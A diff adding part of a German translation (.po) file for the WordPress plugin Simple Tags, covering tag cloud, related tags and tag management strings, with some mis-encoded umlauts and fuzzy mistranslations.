+#: /2.5/inc/simple-tags.admin.php:409
+#, fuzzy
+msgid "Maximum number of related tags to display: (default: 5)"
+msgstr "Maximale Anzahl Tags, die angezeigt werden (Standard: 45)"
+
+#: /2.3/inc/simple-tags.admin.php:379
+#: /2.5/inc/simple-tags.admin.php:410
+#, fuzzy
+msgid "Order related tags:"
+msgstr "Keine verwandten Artikel"
+
+#: /2.3/inc/simple-tags.admin.php:381
+#: /2.3/inc/simple-tags.admin.php:428
+#: /2.3/inc/simple-tags.admin.php:436
+#: /2.5/inc/simple-tags.admin.php:412
+#: /2.5/inc/simple-tags.admin.php:459
+#: /2.5/inc/simple-tags.admin.php:467
+msgid "<code>count-asc</code> &ndash; Least used."
+msgstr "<code>count-asc</code> &ndash; Wenig genutzt."
+
+#: /2.3/inc/simple-tags.admin.php:382
+#: /2.3/inc/simple-tags.admin.php:429
+#: /2.5/inc/simple-tags.admin.php:413
+#: /2.5/inc/simple-tags.admin.php:460
+msgid "<code>count-desc</code> &ndash; Most popular. (default)"
+msgstr "<code>count-desc</code> &ndash; Oft genutzt (default)"
+
+#: /2.3/inc/simple-tags.admin.php:387
+#: /2.5/inc/simple-tags.admin.php:418
+msgid "Related tags type format:"
+msgstr "Format fÃŒr themenverwandte Tags:"
+
+#: /2.3/inc/simple-tags.admin.php:389
+#: /2.3/inc/simple-tags.admin.php:409
+#: /2.3/inc/simple-tags.admin.php:445
+#: /2.5/inc/simple-tags.admin.php:420
+#: /2.5/inc/simple-tags.admin.php:440
+#: /2.5/inc/simple-tags.admin.php:476
+msgid "<code>list</code> &ndash; Display a formatted list (ul/li)."
+msgstr "<code>list</code> &ndash; Formatierte Liste (ul/li)."
+
+#: /2.3/inc/simple-tags.admin.php:390
+#: /2.3/inc/simple-tags.admin.php:410
+#: /2.3/inc/simple-tags.admin.php:446
+#: /2.5/inc/simple-tags.admin.php:421
+#: /2.5/inc/simple-tags.admin.php:441
+#: /2.5/inc/simple-tags.admin.php:477
+msgid "<code>flat</code> &ndash; Display inline (no list, just a div)"
+msgstr "<code>flat</code> &ndash; Display inline, Keine Liste"
+
+#: /2.3/inc/simple-tags.admin.php:392
+#: /2.5/inc/simple-tags.admin.php:423
+msgid "Method of tags intersections and unions used to build related tags link:"
+msgstr "VerknÃŒpfungseigenschaft"
+
+#: /2.3/inc/simple-tags.admin.php:394
+#: /2.5/inc/simple-tags.admin.php:425
+msgid "<code>OR</code> &ndash; Fetches posts with either the \"Tag1\" <strong>or</strong> the \"Tag2\" tag. (default)"
+msgstr "<code>OR</code> &ndash; Zieht BeitrÃ€ge mit  \"Tag1\" <strong>oder</strong>  \"Tag2\" . (default)"
+
+#: /2.3/inc/simple-tags.admin.php:395
+#: /2.5/inc/simple-tags.admin.php:426
+msgid "<code>AND</code> &ndash; Fetches posts with both the \"Tag1\" <strong>and</strong> the \"Tag2\" tag."
+msgstr "<code>AND</code> &ndash; Zieht BeitrÃ€ge mit \"Tag1\" <strong>und</strong>  \"Tag2\"."
+
+#: /2.3/inc/simple-tags.admin.php:397
+#: /2.5/inc/simple-tags.admin.php:428
+msgid "Related tags link format:"
+msgstr "Format der related tag links:"
+
+#: /2.3/inc/simple-tags.admin.php:399
+#: /2.5/inc/simple-tags.admin.php:430
+#, fuzzy
+msgid "Related tags separator:"
+msgstr "Einstellungen fÃŒr verwandte Artikel"
+
+#: /2.3/inc/simple-tags.admin.php:400
+#: /2.3/inc/simple-tags.admin.php:413
+#: /2.5/inc/simple-tags.admin.php:431
+#: /2.5/inc/simple-tags.admin.php:444
+msgid "Leave empty for list format."
+msgstr "Leer lassen, um eine Liste anzuzeigen."
+
+#: /2.3/inc/simple-tags.admin.php:401
+#: /2.5/inc/simple-tags.admin.php:432
+msgid "Enter the text to show when there is no related tags:"
+msgstr "Text, der erscheinen soll, wenn es keinen related Tag gibt:"
+
+#: /2.3/inc/simple-tags.admin.php:404
+#: /2.5/inc/simple-tags.admin.php:435
+msgid "You can use the same syntax as <code>st_related_tags()</code>function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "Du kannst fÃŒr Anpassungen die gleiche Syntax nutzen wie bei der <code>st_related_tags()</code> Funktion.  Siehe <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">Dokumentation</a>."
+
+#: /2.3/inc/simple-tags.admin.php:406
+#: /2.5/inc/simple-tags.admin.php:437
+#, fuzzy
+msgid "Remove related Tags"
+msgstr "Keine verwandten Artikel"
+
+#: /2.3/inc/simple-tags.admin.php:407
+#: /2.5/inc/simple-tags.admin.php:438
+msgid "Remove related Tags type format:"
+msgstr "Related Tags Format entfernen:"
+
+#: /2.3/inc/simple-tags.admin.php:412
+#: /2.5/inc/simple-tags.admin.php:443
+msgid "Remove related tags separator:"
+msgstr "Related Tags Trenner entfernen:"
+
+#: /2.3/inc/simple-tags.admin.php:414
+#: /2.5/inc/simple-tags.admin.php:445
+msgid "Enter the text to show when there is no remove related tags:"
+msgstr "Text, der erscheinen soll, wenn keine keine zu entfernenden related tags gibt:"
+
+#: /2.3/inc/simple-tags.admin.php:415
+#: /2.5/inc/simple-tags.admin.php:446
+msgid "Remove related tags  link format:"
+msgstr "Remove related tags  link format:"
+
+#: /2.3/inc/simple-tags.admin.php:419
+#: /2.5/inc/simple-tags.admin.php:450
+msgid "Which difference between <strong>&#8216;Order tags selection&#8217;</strong> and <strong>&#8216;Order tags display&#8217;</strong> ?<br />"
+msgstr "Was ist der Unterschied zwischen <strong>&#8216;Order tags selection&#8217;</strong> and <strong>&#8216;Order tags display&#8217;</strong> ?<br />"
+
+#: /2.3/inc/simple-tags.admin.php:421
+#: /2.5/inc/simple-tags.admin.php:452
+msgid "<strong>&#8216;Order tags selection&#8217;</strong> is the first step during tag's cloud generation, corresponding to collect tags."
+msgstr "<strong>&#8216;Order tags selection&#8217;</strong> ist der erste Schritt um die Tag Cloud zu generieren und bezieht sich auf die Sammlung von Tags."
+
+#: /2.3/inc/simple-tags.admin.php:422
+#: /2.5/inc/simple-tags.admin.php:453
+msgid "<strong>&#8216;Order tags display&#8217;</strong> is the second. Once tags choosen, you can reorder them before display."
+msgstr "<strong>&#8216;Order tags display&#8217;</strong> ist der zweite. Wenn die Tags ausgesucht sind, kannst Du sie vor der Anzeige umsortieren."
+
+#: /2.3/inc/simple-tags.admin.php:424
+#: /2.5/inc/simple-tags.admin.php:455
+msgid "<strong>Example:</strong> You want display randomly the 100 tags most popular.<br />"
+msgstr "<strong>Beispiel:</strong> Du mÃ¶chtest die 100 populÃ€rsten Tags in zufÃ€lliger Reihenfolge anzeigen.<br />"
+
+#: /2.3/inc/simple-tags.admin.php:425
+#: /2.5/inc/simple-tags.admin.php:456
+msgid "You must set &#8216;Order tags selection&#8217; to <strong>count-desc</strong> for retrieve the 100 tags most popular and &#8216;Order tags display&#8217; to <strong>random</strong> for randomize cloud."
+msgstr "Dann musst Du &#8216;Order tags selection&#8217; auf<strong>count-desc</strong> setzen, um die 100 populÃ€rsten Tags zu erhalten und &#8216;Order tags display&#8217; auf <strong>random</strong>, um sie in zufÃ€lliger Reihenfolge anzuzeigen."
+
+#: /2.3/inc/simple-tags.admin.php:426
+#: /2.5/inc/simple-tags.admin.php:457
+msgid "Order tags selection:"
+msgstr "Order tags selection:"
+
+#: /2.3/inc/simple-tags.admin.php:434
+#: /2.3/inc/simple-tags.widgets.php:167
+#: /2.5/inc/simple-tags.admin.php:465
+#: /2.5/inc/simple-tags.widgets.php:155
+msgid "Order tags display:"
+msgstr "Order tags display:"
+
+#: /2.3/inc/simple-tags.admin.php:437
+#: /2.5/inc/simple-tags.admin.php:468
+msgid "<code>count-desc</code> &ndash; Most popular."
+msgstr "<code>count-desc</code> &ndash; Beliebteste Tags."
+
+#: /2.3/inc/simple-tags.admin.php:440
+#: /2.5/inc/simple-tags.admin.php:471
+msgid "<code>random</code> &ndash; Random. (default)"
+msgstr "<code>random</code> &ndash; Zufall. (default)"
+
+#: /2.3/inc/simple-tags.admin.php:442
+#: /2.5/inc/simple-tags.admin.php:473
+#, fuzzy
+msgid "Include categories in tag cloud ?"
+msgstr "Seiten bei der Tag-Suche berÃŒcksichtigen"
+
+#: /2.3/inc/simple-tags.admin.php:443
+#: /2.5/inc/simple-tags.admin.php:474
+msgid "Tags cloud type format:"
+msgstr "Tag cloud type format:"
+
+#: /2.3/inc/simple-tags.admin.php:450
+#: /2.5/inc/simple-tags.admin.php:481
+#, fuzzy
+msgid "Maximum number of tags to display: (default: 45)"
+msgstr "Maximale Anzahl Tags, die angezeigt werden (Standard: 45)"
+
+#: /2.3/inc/simple-tags.admin.php:451
+#: /2.5/inc/simple-tags.admin.php:482
+msgid "Enter the text to show when there is no tag:"
+msgstr "Text der erscheinen soll, wenn ein Beitrag keinen Tag hat:"
+
+#: /2.3/inc/simple-tags.admin.php:453
+#: /2.5/inc/simple-tags.admin.php:484
+#, fuzzy
+msgid "Most popular color:"
+msgstr "Beliebteste"
+
+#: /2.3/inc/simple-tags.admin.php:454
+#: /2.5/inc/simple-tags.admin.php:485
+msgid "The colours are hexadecimal colours,  and need to have the full six digits (#eee is the shorthand version of #eeeeee)."
+msgstr "Bitte Hexadecimal-Farben angeben (vollstÃ€ndig sechsstelle!) (nicht: #eee sondern #eeeeee)."
+
+#: /2.3/inc/simple-tags.admin.php:455
+#: /2.5/inc/simple-tags.admin.php:486
+#, fuzzy
+msgid "Least popular color:"
+msgstr "Beliebteste"
+
+#: /2.3/inc/simple-tags.admin.php:456
+#: /2.5/inc/simple-tags.admin.php:487
+#, fuzzy
+msgid "Most popular font size:"
+msgstr "Beliebteste"
+
+#: /2.3/inc/simple-tags.admin.php:457
+#: /2.5/inc/simple-tags.admin.php:488
+msgid "The two font sizes are the size of the largest and smallest tags."
+msgstr "Die beiden GrÃ¶Ãen geben den grÃ¶Ãten und den kleinsten Tag an."
+
+#: /2.3/inc/simple-tags.admin.php:458
+#: /2.5/inc/simple-tags.admin.php:489
+#, fuzzy
+msgid "Least popular font size:"
+msgstr "Einheit fÃŒr SchriftgrÃ¶Ãe:"
+
+#: /2.3/inc/simple-tags.admin.php:459
+#: /2.5/inc/simple-tags.admin.php:490
+msgid "The units to display the font sizes with, on tag clouds:"
+msgstr "Einheit fÃŒr BuchstabengrÃ¶Ãe in Tag-Cloud:"
+
+#: /2.3/inc/simple-tags.admin.php:460
+#: /2.5/inc/simple-tags.admin.php:491
+msgid "The font size units option determines the units that the two font sizes use."
+msgstr "Die Einheit wird sowohl fÃŒr die minimale als auch fÃŒr die maxmale GrÃ¶Ãe verwendet."
+
+#: /2.3/inc/simple-tags.admin.php:462
+#: /2.5/inc/simple-tags.admin.php:493
+msgid "You can use the same syntax as <code>st_tag_cloud()</code> function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "Du kannst die gleiche Syntax nutzen wie bei der <code>st_tag_cloud()</code> Funktion, um die Ausgabe anzupassen. Bei Fragen hilft die <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">Dokumentation</a>."
+
+#: /2.3/inc/simple-tags.admin.php:476
+#: /2.5/inc/simple-tags.admin.php:507
+msgid "Options saved"
+msgstr "Einstellungen gespeichert."
+
+#: /2.3/inc/simple-tags.admin.php:480
+#: /2.5/inc/simple-tags.admin.php:511
+msgid "Simple Tags options resetted to default options!"
+msgstr "Einstellungen auf Standard zurÃŒckgesetzt!"
+
+#: /2.3/inc/simple-tags.admin.php:486
+#: /2.5/inc/simple-tags.admin.php:517
+#, php-format
+msgid "All Simple Tags options are deleted ! You <a href=\"%s\">deactive plugin</a> now !"
+msgstr "Alle Simple Tags Optionen wurden gelÃ¶scht. Du kannst das <a href=\"%s\">Plugin nun deaktivieren</a> !"
+
+#: /2.3/inc/simple-tags.admin.php:526
+#: /2.3/inc/simple-tags.admin.php:550
+#, fuzzy
+msgid "Update Options &raquo;"
+msgstr "Einstellungen aktualisieren"
+
+#: /2.3/inc/simple-tags.admin.php:527
+#: /2.3/inc/simple-tags.admin.php:551
+#: /2.5/inc/simple-tags.admin.php:529
+#: /2.5/inc/simple-tags.admin.php:552
+msgid "Do you really want to restore the default options?"
+msgstr "Willst Du wirklich die Standardeinstellungen wiederherstellent?"
+
+#: /2.3/inc/simple-tags.admin.php:527
+#: /2.3/inc/simple-tags.admin.php:551
+#: /2.5/inc/simple-tags.admin.php:529
+#: /2.5/inc/simple-tags.admin.php:552
+msgid "Reset Options"
+msgstr "Einstellungen zurÃŒcksetzen"
+
+#: /2.3/inc/simple-tags.admin.php:534
+#: /2.5/inc/simple-tags.admin.php:536
+msgid "Uninstallation"
+msgstr "Deinstallation"
+
+#: /2.3/inc/simple-tags.admin.php:540
+#: /2.5/inc/simple-tags.admin.php:542
+msgid "Generally, deactivating this plugin does not erase any of its data, if you like to quit using Simple Tags for good, please erase <strong>all</strong> options before deactivating the plugin."
+msgstr "Beim Deaktivieren werden keine Daten gelÃ¶scht. Wenn Du Simple Tags nicht mehr nutzen mÃ¶chtest, lÃ¶sche <strong>alle </strong> Optionen, bevor Du das Plugin deaktivierst."
+
+#: /2.3/inc/simple-tags.admin.php:541
+#: /2.5/inc/simple-tags.admin.php:543
+msgid "This erases all Simple Tags options. <strong>This is irrevocable! Be careful.</strong>"
+msgstr "Dies lÃ¶scht alle Simple Tags Optionen. <strong>Vorsicht! Vorgang kann nicht rÃŒckgÃ€ngig gemacht werden!</strong>"
+
+#: /2.3/inc/simple-tags.admin.php:544
+#: /2.5/inc/simple-tags.admin.php:546
+#, fuzzy
+msgid "Delete all options ?"
+msgstr "Allgemeine Einstellungen"
+
+#: /2.3/inc/simple-tags.admin.php:568
+#: /2.3/inc/simple-tags.admin.php:1714
+#: /2.5/inc/simple-tags.admin.php:568
+#: /2.5/inc/simple-tags.admin.php:1725
+msgid "Security problem. Try again. If this problem persist, contact <a href=\"mailto:amaury@wordpress-fr.net\">plugin author</a>."
+msgstr "Sicherheitsproble. Versuche es noch einmal. Wenn das Problem bestehen bleibt, <a href=\"mailto:amaury@wordpress-fr.net\">kontaktiere den Autor</a>."
+
+#: /2.3/inc/simple-tags.admin.php:601
+#: /2.3/inc/simple-tags.widgets.php:171
+#: /2.5/inc/simple-tags.admin.php:601
+#: /2.5/inc/simple-tags.widgets.php:159
+msgid "Most popular"
+msgstr "Beliebteste"
+
+#: /2.3/inc/simple-tags.admin.php:602
+#: /2.3/inc/simple-tags.widgets.php:161
+#: /2.3/inc/simple-tags.widgets.php:172
+#: /2.5/inc/simple-tags.admin.php:602
+#: /2.5/inc/simple-tags.widgets.php:149
+#: /2.5/inc/simple-tags.widgets.php:160
+msgid "Least used"
+msgstr "Selten benutzte"
+
+#: /2.3/inc/simple-tags.admin.php:603
+#: /2.3/inc/simple-tags.widgets.php:158
+#: /2.3/inc/simple-tags.widgets.php:169
+#: /2.5/inc/simple-tags.admin.php:603
+#: /2.5/inc/simple-tags.widgets.php:146
+#: /2.5/inc/simple-tags.widgets.php:157
+msgid "Alphabetical"
+msgstr "Alphabetisch"
+
+#: /2.3/inc/simple-tags.admin.php:634
+#: /2.5/inc/simple-tags.admin.php:634
+msgid "Existing Tags"
+msgstr "Bestehende Tags:"
+
+#: /2.3/inc/simple-tags.admin.php:638
+#: /2.5/inc/simple-tags.admin.php:638
+msgid "Search tags"
+msgstr "Suche Tags"
+
+#: /2.3/inc/simple-tags.admin.php:642
+#: /2.5/inc/simple-tags.admin.php:642
+msgid "Go"
+msgstr "Gehe"
+
+#: /2.3/inc/simple-tags.admin.php:645
+#: /2.5/inc/simple-tags.admin.php:646
+#, fuzzy
+msgid "Sort Order:"
+msgstr "Sortierung:"
+
+#: /2.3/inc/simple-tags.admin.php:660
+#: /2.3/inc/simple-tags.admin.php:1844
+#: /2.5/inc/simple-tags.admin.php:664
+#: /2.5/inc/simple-tags.admin.php:1854
+#, php-format
+msgid "View all posts tagged with %s"
+msgstr "Alle Artikel mit dem Tag %s ansehen"
+
+#: /2.3/inc/simple-tags.admin.php:671
+#: /2.3/inc/simple-tags.admin.php:1859
+#: /2.3/inc/simple-tags.admin.php:1861
+#: /2.5/inc/simple-tags.admin.php:672
+#: /2.5/inc/simple-tags.admin.php:1869
+#: /2.5/inc/simple-tags.admin.php:1871
+msgid "Previous tags"
+msgstr "Vorherige Tags"
+
+#: /2.3/inc/simple-tags.admin.php:671
+#: /2.3/inc/simple-tags.admin.php:1865
+#: /2.3/inc/simple-tags.admin.php:1867
+#: /2.5/inc/simple-tags.admin.php:672
+#: /2.5/inc/simple-tags.admin.php:1875
+#: /2.5/inc/simple-tags.admin.php:1877
+#, fuzzy
+msgid "Next tags"
+msgstr "Keine Tags."
+
+#: /2.3/inc/simple-tags.admin.php:679
+#: /2.5/inc/simple-tags.admin.php:679
+msgid "Rename Tag"
+msgstr "Tag umbenennen"
+
+#: /2.3/inc/simple-tags.admin.php:680
+#: /2.5/inc/simple-tags.admin.php:687
+msgid "Enter the tag to rename and its new value.  You can use this feature to merge tags too. Click \"Rename\" and all posts which use this tag will be updated."
+msgstr "Trage den Tag ein, den Du umbenennen willst und seinen neuen Wert/Namen. Du kannst diese Funktion auch nutzen, um Tags zusammenzufÃŒhren. Klicke auf \"Umbenennen\" und alle BeitrÃ€ge, die den Tag verwenden, werden aktualisiert."
+
+#: /2.3/inc/simple-tags.admin.php:681
+#: /2.3/inc/simple-tags.admin.php:722
+#: /2.5/inc/simple-tags.admin.php:688
+#: /2.5/inc/simple-tags.admin.php:762
+msgid "You can specify multiple tags to rename by separating them with commas."
+msgstr "Mehrere Tags zum Umbenennen durch Komma trennen."
+
+#: /2.3/inc/simple-tags.admin.php:686
+#: /2.5/inc/simple-tags.admin.php:692
+msgid "Tag(s) to rename:"
+msgstr "Tag(s) zum Umbenennen:"
+
+#: /2.3/inc/simple-tags.admin.php:687
+#: /2.5/inc/simple-tags.admin.php:696
+msgid "New tag name(s):"
+msgstr "Neuer Tag Name:"
+
+#: /2.3/inc/simple-tags.admin.php:688
+#: /2.5/inc/simple-tags.admin.php:699
+msgid "Rename"
+msgstr "Umbenennen"
+
+#: /2.3/inc/simple-tags.admin.php:693
+#: /2.5/inc/simple-tags.admin.php:705
+msgid "Delete Tag"
+msgstr "Tag LÃ¶schen"
+
+#: /2.3/inc/simple-tags.admin.php:694
+#: /2.5/inc/simple-tags.admin.php:713
+msgid "Enter the name of the tag to delete.  This tag will be removed from all posts."
+msgstr "Trage den zu lÃ¶schenden Tag ein. Der Tag wird aus allen BeitrÃ€gen entfernt."
+
+#: /2.3/inc/simple-tags.admin.php:695
+#: /2.5/inc/simple-tags.admin.php:714
+msgid "You can specify multiple tags to delete by separating them with commas"
+msgstr "Du kannst mehrere Tags zum LÃ¶schen markieren, indem Du sie mit Kommas trennst"
+
+#: /2.3/inc/simple-tags.admin.php:700
+#: /2.5/inc/simple-tags.admin.php:718
+msgid "Tag(s) to delete:"
+msgstr "Zu lÃ¶schende(r) Tag(s):"
+
+#: /2.3/inc/simple-tags.admin.php:701
+#: /2.5/inc/simple-tags.admin.php:721
+msgid "Delete"
+msgstr "LÃ¶schen"
+
+#: /2.3/inc/simple-tags.admin.php:706
+#: /2.5/inc/simple-tags.admin.php:727
+msgid "Add Tag"
+msgstr "Tag hinzufÃŒgen"
+
+#: /2.3/inc/simple-tags.admin.php:707
+#: /2.5/inc/simple-tags.admin.php:735
+msgid "This feature lets you add one or more new tags to all posts which match any of the tags given."
+msgstr "Diese Funktion fÃŒgt einen oder mehrere neue Tags in alle BeitrÃ€ge, die zu einem bereits bestehenden Tag passen."
+
+#: /2.3/inc/simple-tags.admin.php:708
+#: /2.5/inc/simple-tags.admin.php:736
+msgid "You can specify multiple tags to add by separating them with commas.  If you want the tag(s) to be added to all posts, then don't specify any tags to match."
+msgstr "Du kannst mehrere Tags hinzufÃŒgen, indem Du sie mit Kommas trennst. Wenn Du die neuen Tags in allen BeitrÃ€gen platzieren wills, dann gib keinen passenden Tag an."
+
+#: /2.3/inc/simple-tags.admin.php:713
+#: /2.3/inc/simple-tags.admin.php:728
+#: /2.5/inc/simple-tags.admin.php:740
+#: /2.5/inc/simple-tags.admin.php:766
+msgid "Tag(s) to match:"
+msgstr "Passende Tag(s) :"
+
+#: /2.3/inc/simple-tags.admin.php:714
+#: /2.5/inc/simple-tags.admin.php:744
+msgid "Tag(s) to add:"
+msgstr "Folgende Tag(s) hinzufÃŒgen:"
+
+#: /2.3/inc/simple-tags.admin.php:715
+#: /2.5/inc/simple-tags.admin.php:747
+msgid "Add"
+msgstr "HinzufÃŒgen"
+
+#: /2.3/inc/simple-tags.admin.php:720
+#: /2.5/inc/simple-tags.admin.php:753
+msgid "Edit Tag Slug"
+msgstr "Tag \"Slug\" bearbeiten"
+
+#: /2.3/inc/simple-tags.admin.php:721
+#: /2.5/inc/simple-tags.admin.php:761
+msgid "Enter the tag name to edit and its new slug. <a href=\"http://codex.wordpress.org/Glossary#Slug\">Slug definition</a>"
+msgstr "Trage den Namen des zu Ã€ndernden Tags und seinen neuen \"Slug\" ein. <a href=\"http://codex.wordpress.org/Glossary#Slug\">Was ist ein Slug?</a>"
+
+#: /2.3/inc/simple-tags.admin.php:732
+#: /2.5/inc/simple-tags.admin.php:770
+msgid "Slug(s) to set:"
+msgstr "Neuer \"Slug\":"
+
+#: /2.3/inc/simple-tags.admin.php:737
+#: /2.3/inc/simple-tags.admin.php:916
+#: /2.5/inc/simple-tags.admin.php:773
+#: /2.5/inc/simple-tags.admin.php:1038
+msgid "Edit"
+msgstr "Bearbeiten"
+
+#: /2.3/inc/simple-tags.admin.php:743
+#: /2.5/inc/simple-tags.admin.php:779
+msgid "Remove empty terms"
+msgstr "Entferne leere terms"
+
+#: /2.3/inc/simple-tags.admin.php:744
+#: /2.5/inc/simple-tags.admin.php:787
+msgid "WordPress 2.3 have a small bug and can create empty terms. Remove it !"
+msgstr "WordPress 2.3 hat einen kleinen bug und kann leere terms produzieren. Diese lassen sich hier beseitigen."
+
+#: /2.3/inc/simple-tags.admin.php:748
+#: /2.5/inc/simple-tags.admin.php:788
+msgid "Clean !"
+msgstr "Bereinigt!"
+
+#: /2.3/inc/simple-tags.admin.php:849
+msgid "Search terms&hellip;"
+msgstr "Suche terms&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:854
+#: /2.5/inc/simple-tags.admin.php:1008
+#, fuzzy
+msgid "Quantity&hellip;"
+msgstr "Anzahl pro Seite"
+
+#: /2.3/inc/simple-tags.admin.php:872
+msgid "Author&hellip;"
+msgstr "Autor&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:873
+msgid "Any"
+msgstr "Alle"
+
+#: /2.3/inc/simple-tags.admin.php:878
+msgid "Type&hellip;"
+msgstr "Type&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:880
+msgid "Post"
+msgstr "Beitrag"
+
+#: /2.3/inc/simple-tags.admin.php:882
+msgid "Page"
+msgstr "Seite"
+
+#: /2.3/inc/simple-tags.admin.php:888
+msgid "Order&hellip;"
+msgstr "Order&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:890
+msgid "Date (descending)"
+msgstr "Datum (absteigend)"
+
+#: /2.3/inc/simple-tags.admin.php:891
+msgid "Date (ascending)"
+msgstr "Datum (aufsteigend)"
+
+#: /2.3/inc/simple-tags.admin.php:892
+msgid "ID (descending)"
+msgstr "ID (absteigend)"
+
+#: /2.3/inc/simple-tags.admin.php:893
+msgid "ID (ascending)"
+msgstr "ID (aufsteigend)"
+
+#: /2.3/inc/simple-tags.admin.php:898
+msgid "Filter&hellip;"
+msgstr "Filter&hellip;"
+
+#: /2.3/inc/simple-tags.admin.php:900
+msgid "All"
+msgstr "Alle"
+
+#: /2.3/inc/simple-tags.admin.php:901
+#, fuzzy
+msgid "Untagged only"
+msgstr "Artikel ohne Tags"
+
+#: /2.3/inc/simple-tags.admin.php:905
+msgid "Filter &#187;"
+msgstr "Filter &#187;"
+
+#: /2.3/inc/simple-tags.admin.php:912
+#: /2.3/inc/simple-tags.admin.php:922
+msgid "Update all"
+msgstr "Alle aktualisieren"
+
+#: /2.3/inc/simple-tags.admin.php:936
+#: /2.5/inc/simple-tags.admin.php:1068
+msgid "No content to edit."
+msgstr "Nichts zu bearbeiten"
+
+#: /2.3/inc/simple-tags.admin.php:1053
+msgid "Tags (separate multiple tags with commas: cats, pet food, dogs)"
+msgstr "Tags (trenne mehrere Tags durch Kommas: Katze, Tierfutter, Hunde)"
+
+#: /2.3/inc/simple-tags.admin.php:1105
+#: /2.5/inc/simple-tags.admin.php:1326
+msgid "No new tag specified!"
+msgstr "Kein neuer Tag angegeben!"
+
+#: /2.3/inc/simple-tags.admin.php:1124
+#: /2.5/inc/simple-tags.admin.php:1341
+msgid "No new/old valid tag specified!"
+msgstr "Kein neuer/alter gÃŒltiger Tag angegeben!"
+
+#: /2.3/inc/simple-tags.admin.php:1156
+#: /2.5/inc/simple-tags.admin.php:1373
+#, fuzzy
+msgid "No tag renamed."
+msgstr "Neuer Tag Name:"
+
+#: /2.3/inc/simple-tags.admin.php:1159
+#: /2.5/inc/simple-tags.admin.php:1376
+#, php-format
+msgid "Renamed tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;"
+msgstr "Tag &laquo;%1$s&raquo; in &laquo;%2$s&raquo; umbenannt"
+
+#: /2.3/inc/simple-tags.admin.php:1166
+#: /2.5/inc/simple-tags.admin.php:1383
+msgid "No valid new tag."
+msgstr "Kein gÃŒltiger neuer Tag."
+
+#: /2.3/inc/simple-tags.admin.php:1183
+#: /2.5/inc/simple-tags.admin.php:1400
+msgid "No objects (post/page) found for specified old tags."
+msgstr "Keine Seiten oder BeitrÃ€ge fÃŒr den angegebenen alten Tag gefunden"
+
+#: /2.3/inc/simple-tags.admin.php:1208
+#: /2.5/inc/simple-tags.admin.php:1425
+#, fuzzy
+msgid "No tag merged."
+msgstr "Keine Tags angegeben!"
+
+#: /2.3/inc/simple-tags.admin.php:1211
+#: /2.5/inc/simple-tags.admin.php:1428
+#, php-format
+msgid "Merge tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;. %3$s objects edited."
+msgstr "Tag(s) &laquo;%1$s&raquo; zu  &laquo;%2$s&raquo; zusammengefÃŒhrt. %3$s Objekt(e) bearbeitet."
+
+#: /2.3/inc/simple-tags.admin.php:1214
+#: /2.5/inc/simple-tags.admin.php:1431
+msgid "Error. No enough tags for rename. Too for merge. Choose !"
+msgstr "Fehler. Nicht genÃŒgend Tags zum umbenennen, oder zusammenfÃŒhren. WÃ€hle!"
+
+#: /2.3/inc/simple-tags.admin.php:1240
+#: /2.5/inc/simple-tags.admin.php:1458
+msgid "No tag specified!"
+msgstr "Keine Tags angegeben!"
+
+#: /2.3/inc/simple-tags.admin.php:1265
+#: /2.5/inc/simple-tags.admin.php:1480
+#, fuzzy
+msgid "No tag deleted."
+msgstr "Keine Tags angegeben!"
+
+#: /2.3/inc/simple-tags.admin.php:1268
+#: /2.5/inc/simple-tags.admin.php:1483
+#, fuzzy, php-format
+msgid "%1s tag(s) deleted."
+msgstr "%s Bezeichnungen bearbeitet."
+
+#: /2.3/inc/simple-tags.admin.php:1280
+#: /2.5/inc/simple-tags.admin.php:1495
+msgid "No new tag(s) specified!"
+msgstr "Keine neuen Tags angegeben!"
+
+#: /2.3/inc/simple-tags.admin.php:1328
+#: /2.5/inc/simple-tags.admin.php:1539
+#, fuzzy
+msgid "No tag added."
+msgstr "Keine Tags."
+
+#: /2.3/inc/simple-tags.admin.php:1331
+#: /2.5/inc/simple-tags.admin.php:1542
+#, php-format
+msgid "Tag(s) added to %1s post(s)."
+msgstr "Tag(s) eingefÃŒgt in %1s Artikel."
+
+#: /2.3/inc/simple-tags.admin.php:1343
+#: /2.5/inc/simple-tags.admin.php:1554
+msgid "No new slug(s) specified!"
+msgstr "Keine neue Bezeichnung angegeben!"
+
+#: /2.3/inc/simple-tags.admin.php:1359
+#: /2.5/inc/simple-tags.admin.php:1566
+#, fuzzy
+msgid "Tags number and slugs number isn't the same!"
+msgstr "Die Anzahl der Tags und Bezeichnungen stimmt nicht ÃŒberein!"
+
+#: /2.3/inc/simple-tags.admin.php:1383
+#: /2.5/inc/simple-tags.admin.php:1590
+#, fuzzy
+msgid "No slug edited."
+msgstr "%s Bezeichnungen bearbeitet."
+
+#: /2.3/inc/simple-tags.admin.php:1386
+#: /2.5/inc/simple-tags.admin.php:1593
+#, php-format
+msgid "%s slug(s) edited."
+msgstr "%s Bezeichnungen bearbeitet."
+
+#: /2.3/inc/simple-tags.admin.php:1404
+#: /2.5/inc/simple-tags.admin.php:1611
+msgid "Nothing to muck. Good job !"
+msgstr "Alles klar, gut gemacht!"
+
+#: /2.3/inc/simple-tags.admin.php:1429
+#: /2.5/inc/simple-tags.admin.php:1639
+#, php-format
+msgid "%s rows deleted. WordPress DB is clean now !"
+msgstr "%s Reihen gelÃ¶scht. Die Wordpress Datenbank ist bereinigt."
+
+#: /2.3/inc/simple-tags.admin.php:1452
+#: /2.5/inc/simple-tags.admin.php:1652
+msgid "Display click tags"
+msgstr "Zeige click Tags"
+
+#: /2.3/inc/simple-tags.admin.php:1452
+#: /2.5/inc/simple-tags.admin.php:1653
+msgid "Hide click tags"
+msgstr "Verstecke click Tags"
+
+#: /2.3/inc/simple-tags.admin.php:1504
+#: /2.5/inc/simple-tags.admin.php:1670
+#, fuzzy
+msgid "Suggested tags from :"
+msgstr "Vorgeschlagene Tags"
+
+#: /2.3/inc/simple-tags.admin.php:1505
+#: /2.5/inc/simple-tags.admin.php:1671
+#, fuzzy
+msgid "Local tags"
+msgstr "Keine Tags."
+
